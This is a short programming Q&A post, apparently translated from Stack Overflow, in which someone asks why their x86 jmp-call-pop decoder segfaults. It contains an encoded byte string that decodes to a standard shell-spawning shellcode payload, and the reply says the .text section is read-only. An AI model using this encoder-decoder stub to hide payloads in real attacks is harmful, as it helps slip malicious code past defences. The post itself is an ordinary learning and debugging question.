【发布时间】:2015-02-17 20:46:40
【问题描述】:
这是我无法找出错误的部分代码。我正在使用 jmp-pop-call 技术,我得到的是“分段错误”。尝试使用 GDB,但事情真的很模糊。每个字节在 python 中由 1 编码,我想要的是使用以下代码部分进行解码:
global _start
section .text
_start:
jmp short call_shellcode
decoder:
pop esi
xor eax, eax
mov edx, 23
decode:
mov bl, byte[esi+eax]
dec byte[esi+eax]
cont:
cmp eax,edx
jz short encodedShellcode
inc eax
jmp short decode
call_shellcode:
call decoder
encodedShellcode db 0x32,0xc1,0x51,0x69,0x30,0x74,0x69,0x69,0x30,0x63,0x6a,0x6f,0x8a,0xe4,0x51,0x54,0x8a,0xe2,0x9a,0xb1,0x0c,0xce,0x81,
【问题讨论】:
-
.text部分默认为只读。请参阅this answer 了解解决方法。
标签: python assembly x86 decoder